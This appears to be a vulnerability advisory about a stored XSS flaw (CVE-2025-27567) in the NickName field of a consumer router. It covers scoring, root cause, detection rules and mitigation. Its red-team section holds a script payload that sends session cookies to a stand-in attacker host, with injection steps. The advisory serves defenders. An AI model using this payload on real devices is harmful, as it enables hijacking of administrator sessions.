CVE-2025-27567
Executive Summary
CVE-2025-27567 is a stored cross-site scripting (XSS) vulnerability in the NickName registration screen of the HGW-BL1500HM router (Ver 002.002.003 and earlier). An attacker on the LAN side can inject arbitrary JavaScript into the NickName field, which executes in the browser of any user accessing the configuration page or LAN-only functions. With a CVSS score of 5.4 (Medium), the vulnerability requires user interaction but no authentication, making it a credible threat for internal network compromise. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a consumer router.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Adjacent Network (LAN-side only)
- Attack Complexity (AC): Low
- Privileges Required (PR): None
- User Interaction (UI): Required (victim must visit the configuration page)
- Scope (S): Unchanged
- Confidentiality (C): Low (potential session hijacking)
- Integrity (I): Low (script injection)
- Availability (A): Low (potential denial of service via script)
Threat Level: Medium. Exploitation is limited to the LAN, but no authentication is needed to inject the payload.
Deep Dive & Mechanics
The HGW-BL1500HM router’s NickName registration screen does not sanitize user input. An attacker on the same network can submit a crafted NickName containing JavaScript (e.g., <script>alert('XSS')</script>). When an administrator or other user views the configuration page, the script executes in their browser context. This can lead to session token theft, configuration changes, or further lateral movement.
Root Cause: Lack of output encoding and input validation in the NickName field.
Attack Flow:
- Attacker connects to the router’s LAN (e.g., via Wi-Fi or Ethernet).
- Attacker navigates to the NickName registration page (typically
/cgi-bin/nickname.cgi). - Attacker submits a malicious payload in the NickName field.
- Victim (admin or user) accesses the configuration page.
- Payload executes, potentially exfiltrating session cookies or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code likely resembles:
// Vulnerable: direct insertion without sanitization
document.getElementById('nickname_display').innerHTML = userInput;
A patched version would use:
// Patched: safe text content assignment
document.getElementById('nickname_display').textContent = userInput;
Or server-side sanitization:
# Patched: server-side escaping
import html
safe_nickname = html.escape(user_input)
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to the LAN (e.g., connected to the router’s Wi-Fi).
- Target router running firmware Ver 002.002.003 or earlier.
Proof-of-Concept (No public exploit available):
<!-- Inject this into the NickName field -->
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Manual Steps:
- Open browser, navigate to
http://192.168.1.1/cgi-bin/nickname.cgi(adjust IP as needed). - Enter the payload in the NickName field.
- Submit the form.
- Wait for an admin to view the configuration page.
Blue Team (Detection & Hardening)
Detection:
- Monitor HTTP requests to
/cgi-bin/nickname.cgifor unusual parameters. - Look for
<script>tags or event handlers in POST data.
Hardening:
- Isolate the router’s management interface from untrusted LAN devices.
- Use a VLAN for management traffic.
- Apply input validation and output encoding if custom firmware is possible.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST to
/cgi-bin/nickname.cgicontaining<script>oronerror=patterns. - Outbound connections from the router to unknown IPs on port 80/443 (exfiltration).
- HTTP POST to
- Host:
- Unexpected JavaScript execution in the browser when viewing the router’s config page.
- Modified NickName entries containing encoded or obfuscated scripts.
Detection Engineering
YARA Rule
rule CVE_2025_27567_XSS_NickName {
meta:
description = "Detects XSS payload in HGW-BL1500HM NickName field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-27567"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-27567 XSS in HGW-BL1500HM NickName
id: 8a3f7c2e-1b4d-4e5f-9a0b-1c2d3e4f5a6b
status: experimental
description: Detects XSS attempts against the NickName registration screen
author: Valters IT
logsource:
category: webserver
product: hgw-bl1500hm
detection:
selection:
cs-method: POST
cs-uri-path: '/cgi-bin/nickname.cgi'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in NickName (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27567 XSS NickName Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/nickname.cgi"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable remote management and restrict LAN access to the router’s admin interface.
- Change default credentials and use strong passwords.
- Monitor logs for unusual POST requests to
/cgi-bin/nickname.cgi.
Long-Term Fix:
- Vendor must release a firmware update that sanitizes the NickName field.
- Until then, consider replacing the device or using a firewall to block management traffic.
Workaround:
- Use a separate VLAN for management and restrict access to trusted MAC addresses.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.